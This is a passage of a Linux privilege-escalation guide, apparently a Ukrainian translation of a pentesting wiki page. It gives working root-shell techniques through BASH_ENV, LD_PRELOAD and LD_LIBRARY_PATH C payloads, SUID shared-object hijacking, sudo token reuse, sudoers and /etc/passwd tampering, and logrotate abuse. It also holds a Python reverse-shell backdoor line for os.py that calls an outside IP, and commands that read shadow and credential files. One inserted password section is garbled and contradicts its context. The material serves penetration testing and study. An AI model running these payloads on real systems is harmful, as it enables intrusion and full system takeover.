Якщо sudoers зберігає BASH_ENV (наприклад, Defaults env_keep+="ENV BASH_ENV"), ви можете використати безінтерактивну поведінку запуску Bash, щоб виконати довільний код від імені root при виклику дозволеної команди.

• Чому це працює: Для безінтерактивних оболонок, Bash оцінює $BASH_ENV і підвантажує цей файл перед запуском цільового скрипта. Багато правил sudo дозволяють запускати скрипт або оболонкову обгортку. Якщо BASH_ENV зберігається sudo, ваш файл буде підвантажений з привілеями root.

• Вимоги:

• Наявне правило sudo, яке ви можете виконати (будь-яка ціль, що викликає /bin/bash у безінтерактивному режимі, або будь-який bash-скрипт).

• BASH_ENV присутній у env_keep (перевірте за допомогою sudo -l).

• PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell

• Зміцнення:
• Видаліть BASH_ENV (та ENV) з env_keep, віддавайте перевагу env_reset.
• Уникайте shell wrappers для команд, дозволених через sudo; використовуйте мінімальні бінарні файли.
• Розгляньте логування вводу/виводу sudo та оповіщення, коли використовуються збережені env vars.

Шляхи обходу виконання sudo

Перейти щоб читати інші файли або використати symlinks. Наприклад у файлі sudoers: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Якщо використовується wildcard (*), це ще простіше:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Контрзаходи: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary without command path

Якщо дозвіл sudo надано для однієї команди без вказівки шляху: hacker10 ALL= (root) less ви можете експлуатувати це, змінивши змінну PATH

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Цю техніку також можна використовувати, якщо бінарний файл suid виконує іншу команду без вказування шляху до неї (завжди перевіряйте за допомогою strings вміст дивного SUID бінарного файлу).

Payload examples to execute.

SUID бінарний файл із шляхом до команди

Якщо suid бінарний файл виконує іншу команду, вказуючи шлях, то можна спробувати експортувати функцію, названу так само, як команда, яку викликає suid файл.

Наприклад, якщо suid бінарний файл викликає /usr/sbin/service apache2 start, потрібно спробувати створити функцію з такою ж назвою і експортувати її:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Тоді, коли ви викликаєте suid binary, ця функція буде виконана

LD_PRELOAD & LD_LIBRARY_PATH

Змінна середовища LD_PRELOAD використовується для вказання однієї або кількох розділюваних бібліотек (.so files), які мають бути завантажені завантажувачем перед усіма іншими, включно зі стандартною C-бібліотекою (libc.so). Цей процес відомий як попереднє завантаження бібліотеки.

Однак, щоб підтримувати безпеку системи та запобігти зловживанню цією функціональністю, особливо з suid/sgid виконуваними файлами, система накладає певні умови:

• Завантажувач ігнорує LD_PRELOAD для виконуваних файлів, у яких реальний ідентифікатор користувача (ruid) не збігається з ефективним ідентифікатором користувача (euid).
• Для виконуваних файлів з suid/sgid попередньо завантажуються лише бібліотеки в стандартних шляхах, які також мають suid/sgid.

Ескалація привілеїв може статися, якщо ви маєте можливість виконувати команди з sudo і вивід sudo -l містить рядок env_keep+=LD_PRELOAD. Така конфігурація дозволяє змінній середовища LD_PRELOAD зберігатися та визнаватися навіть під час запуску команд через sudo, що потенційно може призвести до виконання довільного коду з підвищеними привілеями.

Defaults        env_keep += LD_PRELOAD

Зберегти як /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Потім скомпілюйте його за допомогою:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Нарешті, запустіть escalate privileges

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

Подібний privesc можна використати, якщо зловмисник контролює змінну середовища LD_LIBRARY_PATH, оскільки він контролює шлях, у якому шукатимуться бібліотеки.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Коли ви натрапляєте на binary з правами SUID, який здається підозрілим, добре перевірити, чи він правильно підвантажує файли .so. Це можна зробити, виконавши наступну команду:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Наприклад, поява помилки на кшталт "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" вказує на потенційну можливість експлуатації.

Щоб експлуатувати це, слід створити C-файл, наприклад "/path/to/.config/libcalc.c", що міститиме наступний код:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Цей код, після компіляції та запуску, має на меті підвищити привілеї шляхом маніпуляцій з правами доступу до файлів та виконання shell з підвищеними привілеями.

Скомпілюйте наведений вище C-файл у shared object (.so) файл за допомогою:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Нарешті, запуск ураженого SUID binary має спровокувати exploit, що може призвести до компрометації системи.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Тепер, коли ми знайшли SUID binary, який завантажує library з folder, куди ми можемо писати, створімо library у тій папці з необхідною назвою:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Якщо ви отримуєте помилку на кшталт

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

це означає, що згенерована вами бібліотека має містити функцію з назвою a_function_name.

GTFOBins

GTFOBins — це кураторський список Unix бінарників, які можуть бути використані атакуючим для обходу локальних обмежень безпеки. GTFOArgs — те саме, але для випадків, коли ви можете only inject arguments in a command.

Проєкт збирає легітимні функції Unix бінарників, які можна зловживати для break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, та полегшення інших post-exploitation tasks.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

{{#ref}} https://gtfobins.github.io/ {{#endref}}

{{#ref}} https://gtfoargs.github.io/ {{#endref}}

FallOfSudo

Якщо ви маєте доступ до sudo -l, ви можете використати інструмент FallOfSudo щоб перевірити, чи знаходить він спосіб експлуатувати будь-яке sudo rule.

Reusing Sudo Tokens

У випадках, коли у вас є sudo access, але немає пароля, ви можете escalate privileges шляхом очікування виконання sudo команди і подальшого hijacking the session token.

Requirements to escalate privileges:

• Ви вже маєте shell як користувач "sampleuser"
• "sampleuser" have used sudo to execute something in the last 15mins (за замовчуванням це тривалість sudo token, яка дозволяє використовувати sudo без введення пароля)
• cat /proc/sys/kernel/yama/ptrace_scope is 0
• gdb доступний (ви можете завантажити його)

(Ви можете тимчасово ввімкнути ptrace_scope з echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope або постійно модифікувавши /etc/sysctl.d/10-ptrace.conf і встановивши kernel.yama.ptrace_scope = 0)

If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject

• The first exploit (exploit.sh) will create the binary activate_sudo_token in /tmp. You can use it to activate the sudo token in your session (you won't get automatically a root shell, do sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

• second exploit (exploit_v2.sh) створить sh shell у /tmp, який належить root і має setuid

bash exploit_v2.sh
/tmp/sh -p

• третій exploit (exploit_v3.sh) буде створювати sudoers file, який робить sudo tokens вічними та дозволяє всім користувачам використовувати sudo

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Якщо у вас є write permissions у цій теці або для будь-якого файла, створеного в ній, ви можете використати бінарник write_sudo_token щоб create a sudo token for a user and PID.
Наприклад, якщо ви можете перезаписати файл /var/run/sudo/ts/sampleuser і маєте shell як цей користувач з PID 1234, ви можете obtain sudo privileges без необхідності знати пароль, виконавши:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Файл /etc/sudoers та файли всередині /etc/sudoers.d налаштовують, хто може використовувати sudo і як. Ці файли за замовчуванням можна читати лише користувачу root і групі root.
Якщо ви можете прочитати цей файл, ви можете отримати деяку цікаву інформацію, а якщо ви можете записати будь-який файл, ви зможете escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Якщо ви можете записувати, ви можете зловживати цим дозволом

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Ще один спосіб зловживати цими дозволами:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Існують альтернативи бінарному файлу sudo, такі як doas для OpenBSD; не забудьте перевірити його конфігурацію в /etc/doas.conf

permit nopass demo as root cmd vim

Sudo Hijacking

Якщо ви знаєте, що користувач зазвичай підключається до машини і використовує sudo для ескалації привілеїв і ви отримали shell у контексті цього користувача, ви можете create a new sudo executable, який виконуватиме ваш код від імені root, а потім команду користувача. Потім modify the $PATH в контексті користувача (наприклад додавши новий шлях у .bash_profile), щоб коли користувач виконає sudo, виконався ваш sudo executable.

Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example sudo-piggyback modifies ~/.bashrc, ~/.zshrc, ~/.bash_profile. You can find another example in bashdoor.py

Або запустивши щось на кшталт:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Спільна бібліотека

ld.so

The file /etc/ld.so.conf indicates where the loaded configurations files are from. Typically, this file contains the following path: include /etc/ld.so.conf.d/*.conf

That means that the configuration files from /etc/ld.so.conf.d/*.conf will be read. This configuration files points to other folders where libraries are going to be searched for. For example, the content of /etc/ld.so.conf.d/libc.conf is /usr/local/lib. This means that the system will search for libraries inside /usr/local/lib.

If for some reason a user has write permissions on any of the paths indicated: /etc/ld.so.conf, /etc/ld.so.conf.d/, any file inside /etc/ld.so.conf.d/ or any folder within the config file inside /etc/ld.so.conf.d/*.conf he may be able to escalate privileges.
Перегляньте, як експлуатувати цю неправильну конфігурацію на наступній сторінці:

{{#ref}} ld.so.conf-example.md {{#endref}}

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Копіювання lib у /var/tmp/flag15/ призведе до того, що програма використовуватиме її в цьому місці, як вказано у змінній RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Потім створіть зловмисну бібліотеку в /var/tmp за допомогою gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Можливості

Linux capabilities надають підмножину доступних root-привілеїв процесу. Це фактично розбиває root привілеї на менші й відмінні одиниці. Кожну з цих одиниць можна окремо призначати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.
Прочитайте наступну сторінку, щоб дізнатися більше про capabilities і як їх зловживати:

{{#ref}} linux-capabilities.md {{#endref}}

Права доступу до директорії

У директорії біт "execute" означає, що відповідний користувач може "cd" у цю папку.
Біт "read" означає, що користувач може переглядати файли, а біт "write" означає, що користувач може видаляти та створювати нові файли.

ACLs

Списки контролю доступу (Access Control Lists, ACLs) представляють другий шар дискреційних дозволів, здатний перевизначати традиційні ugo/rwx дозволи. Ці дозволи покращують контроль доступу до файлу чи директорії, дозволяючи або забороняючи права окремим користувачам, які не є власниками або не входять до групи. Такий рівень деталізації забезпечує більш точне керування доступом. Подальші деталі можна знайти here.

Надайте користувачу "kali" права читання і запису для файлу:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Отримати файли з певними ACLs із системи:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Відкриті shell sessions

У старих версіях ви можете hijack деяку shell сесію іншого користувача (root).
У найновіших версіях ви зможете connect лише до screen sessions свого власного користувача. Проте, ви можете знайти цікаву інформацію всередині сесії.

screen sessions hijacking

Список screen sessions

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Приєднатися до сесії

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Це була проблема зі старими версіями tmux. Я не зміг перехопити сеанс tmux (v2.1), створений користувачем root, будучи непривілейованим користувачем.

Список сеансів tmux

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Приєднатися до сесії

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Перевірте Valentine box from HTB як приклад.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Всі SSL та SSH keys, згенеровані на системах на базі Debian (Ubuntu, Kubuntu, тощо) між вереснем 2006 і 13 травня 2008 можуть бути уражені цією вразливістю.
Ця помилка виникає при створенні нового ssh key в цих ОС, оскільки було можливих лише 32,768 варіантів. Це означає, що всі можливості можна обчислити і маючи ssh public key, ви можете знайти відповідний private key. Ви можете знайти обчислені можливості тут: https://github.com/g0tmi1k/debian-ssh

SSH Цікаві значення конфігурації

• PasswordAuthentication: Вказує, чи дозволена автентифікація за паролем. За замовчуванням — no.
• PubkeyAuthentication: Вказує, чи дозволена автентифікація за публічним ключем. За замовчуванням — yes.
• PermitEmptyPasswords: Коли дозволена автентифікація за паролем, вказує, чи сервер дозволяє вхід в облікові записи з порожнім рядком пароля. За замовчуванням — no.

PermitRootLogin

Вказує, чи може root входити через ssh, за замовчуванням — no. Можливі значення:

• yes: root може увійти, використовуючи password та private key
• without-password or prohibit-password: root може увійти тільки за допомогою private key
• forced-commands-only: root може увійти лише за допомогою private key і якщо вказані опції command
• no : ні

AuthorizedKeysFile

Вказує файли, які містять public keys, що можуть використовуватись для автентифікації користувача. Він може містити токени на кшталт %h, які будуть замінені на домашній каталог. Ви можете вказувати абсолютні шляхи (що починаються з /) або відносні шляхи від домашнього каталогу користувача. Наприклад:

AuthorizedKeysFile    .ssh/authorized_keys access

Ця конфігурація вкаже, що якщо ви спробуєте увійти за допомогою private ключа користувача "testusername", ssh порівняє public key вашого ключа з тими, що знаходяться в /home/testusername/.ssh/authorized_keys та /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding дозволяє вам use your local SSH keys instead of leaving keys (without passphrases!) замість залишати ключі на сервері. Отже, ви зможете виконати jump через ssh to a host і звідти jump to another host, using the key що розташований на вашому initial host.

Вам потрібно встановити цю опцію в $HOME/.ssh.config так:

Host example.com
ForwardAgent yes

Зверніть увагу, що якщо Host встановлено як *, кожного разу, коли користувач підключається до іншої машини, той хост зможе отримати доступ до ключів (що є проблемою безпеки).

Файл /etc/ssh_config може перевизначати ці опції та дозволити або заборонити цю конфігурацію.
Файл /etc/sshd_config може дозволяти або забороняти ssh-agent forwarding за допомогою ключового слова AllowAgentForwarding (default is allow).

Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки you may be able to abuse it to escalate privileges:

{{#ref}} ssh-forward-agent-exploitation.md {{#endref}}

Цікаві файли

Файли профілів

Файл /etc/profile та файли в каталозі /etc/profile.d/ — це скрипти, які виконуються коли користувач запускає нову оболонку. Отже, якщо ви можете записати або змінити будь-який із них you can escalate privileges.

ls -l /etc/profile /etc/profile.d/

Файли Passwd/Shadow

Якщо знайдено якийсь дивний скрипт профілю, перевірте його на чутливі деталі.

У залежності від ОС файли /etc/passwd та /etc/shadow можуть мати іншу назву або існувати резервні копії. Тому рекомендується знайти всі та перевірити, чи можете їх прочитати, щоб дізнатися чи є в них хеші:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

У деяких випадках ви можете знайти password hashes всередині файлу /etc/passwd (або еквівалентного)

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Доступний для запису /etc/passwd

Спочатку згенеруйте пароль за допомогою однієї з наступних команд.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Додайте користувача hacker і встановіть згенерований пароль

Запустіть ці команди як root або через sudo. Згенерований пароль нижче вказаний у кодовому блоці.

Згенерований пароль: V9r$3kTq8Lp!wF2a

PASSWORD='V9r$3kTq8Lp!wF2a'
useradd -m -s /bin/bash hacker
echo "hacker:$PASSWORD" | chpasswd

Після цього ви зможете увійти як hacker з паролем V9r$3kTq8Lp!wF2a.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Наприклад: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Тепер ви можете використовувати команду su з hacker:hacker

Як альтернативу, ви можете використати наступні рядки, щоб додати фіктивного користувача без пароля.
УВАГА: це може погіршити поточну безпеку машини.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

ПРИМІТКА: На BSD-платформах /etc/passwd знаходиться в /etc/pwd.db та /etc/master.passwd, також /etc/shadow перейменовано на /etc/spwd.db.

Вам слід перевірити, чи можете ви записувати в деякі чутливі файли. Наприклад, чи можете ви записати в якийсь конфігураційний файл сервісу?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Наприклад, якщо на машині запущено сервер tomcat і ви можете modify the Tomcat service configuration file inside /etc/systemd/, тоді ви можете змінити рядки:

ExecStart=/path/to/backdoor
User=root
Group=root

Your backdoor буде виконаний наступного разу, коли tomcat буде запущено.

Перевірте папки

Наступні папки можуть містити резервні копії або цікаву інформацію: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Ймовірно, ви не зможете прочитати останню, але спробуйте)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Дивні місця/Owned files

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Файли, змінені за останні хвилини

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB файли

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml файли

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Приховані файли

find / -type f -iname ".*" -ls 2>/dev/null

Скрипти/бінарні файли в PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Веб-файли

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Резервні копії

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Known files containing passwords

Перегляньте код linPEAS, він шукає кілька можливих файлів, що можуть містити паролі.
Інший цікавий інструмент, який ви можете використати для цього: LaZagne — програма з відкритим кодом, що використовується для отримання великої кількості паролів, збережених на локальному комп'ютері для Windows, Linux & Mac.

Logs

Якщо ви можете читати логи, можливо, ви зможете знайти в них цікаву/конфіденційну інформацію. Чим дивніший лог, тим цікавішим він (ймовірно).
Також деякі "bad" сконфігуровані (backdoored?) audit logs можуть дозволити вам записувати паролі всередині audit logs, як пояснено в цій публікації: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Щоб читати логи, група adm буде дуже корисною.

Файли shell

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Вам також слід перевіряти файли, які містять слово "password" у своєму імені або всередині вмісту, а також перевіряти IPs та emails всередині logs, або hashes regexps.
Я не буду перелічувати тут, як усе це робити, але якщо вам цікаво, можете переглянути останні перевірки, які виконує linpeas.

Записувані файли

Python library hijacking

Якщо ви знаєте звідки буде виконуватись python-скрипт і ви можете записувати в ту папку або можете modify python libraries, ви можете змінити OS library і backdoor it (якщо ви можете писати туди, де виконуватиметься python-скрипт, скопіюйте та вставте бібліотеку os.py).

To backdoor the library just add at the end of the os.py library the following line (change IP and PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Експлуатація logrotate

Уразливість в logrotate дозволяє користувачам із правами запису на лог-файл або його батьківські каталоги потенційно отримати підвищені привілеї. Це відбувається тому, що logrotate, який часто запускається як root, можна змусити виконати довільні файли, особливо в каталогах на кшталт /etc/bash_completion.d/. Важливо перевіряти права не лише в /var/log, але й у будь-якому каталозі, де застосовується ротація логів.

Tip

Ця уразливість торкається версії logrotate 3.18.0 і старіших

Більш детальну інформацію про уразливість можна знайти на цій сторінці: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Цю уразливість можна експлуатувати за допомогою logrotten.

Ця уразливість дуже схожа на CVE-2016-1247 (nginx logs), тому коли ви знаходите можливість змінювати логи, перевірте, хто їх обслуговує, і чи можна підвищити привілеї, замінивши логи symlinks.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

If, for whatever reason, a user is able to write an ifcf-<whatever> script to /etc/sysconfig/network-scripts or it can adjust an existing one, then your system is pwned.

Network scripts, ifcg-eth0 for example are used for network connections. They look exactly like .INI files. However, they are sourced on Linux by Network Manager (dispatcher.d).

In my case, the NAME= attributed in these network scripts is not handled correctly. If you have white/blank space in the name the system tries to execute the part after the white/blank space. This means that everything after the first blank space is executed as root.

For example: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Зауважте пробіл між Network та /bin/id)

init, init.d, systemd, і rc.d

Каталог /etc/init.d містить скрипти для System V init (SysVinit), класичної системи управління сервісами Linux. Він містить скрипти для start, stop, restart, а інколи й reload сервісів. Їх можна виконувати безпосередньо або через символічні посилання у /etc/rc?.d/. Альтернативний шлях у системах Redhat — /etc/rc.d/init.d.

З іншого боку, /etc/init пов'язаний з Upstart, новішою системою управління сервісами, впровадженою Ubuntu, що використовує конфігураційні файли для керування сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються поряд із конфігураціями Upstart завдяки сумісному шару в Upstart.

systemd — сучасний ініціалізатор та менеджер сервісів, який пропонує розширені можливості, такі як запуск демонів за вимогою, управління автоматичним монтуванням та знімки стану системи. Він організовує файли у /usr/lib/systemd/ для пакетів дистрибутиву та у /etc/systemd/system/ для змін адміністратора, спрощуючи процес адміністрування системи.

Other Tricks

NFS Privilege escalation

{{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}}

Escaping from restricted Shells

{{#ref}} escaping-from-limited-bash.md {{#endref}}

Cisco - vmanage

{{#ref}} cisco-vmanage.md {{#endref}}

Android rooting frameworks: manager-channel abuse

Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here:

{{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}}

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path).

Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here:

{{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}}

Kernel Security Protections

• https://github.com/a13xp0p0v/kconfig-hardened-check
• https://github.com/a13xp0p0v/linux-kernel-defence-map

Додаткова допомога

Static impacket binaries

Linux/Unix Privesc Tools

Найкращий інструмент для пошуку Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

References

• 0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)

• alseambusher/crontab-ui

• https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

• https://payatu.com/guide-linux-privilege-escalation/

• https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744

• http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html

• https://touhidshaikh.com/blog/?p=827

• https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf

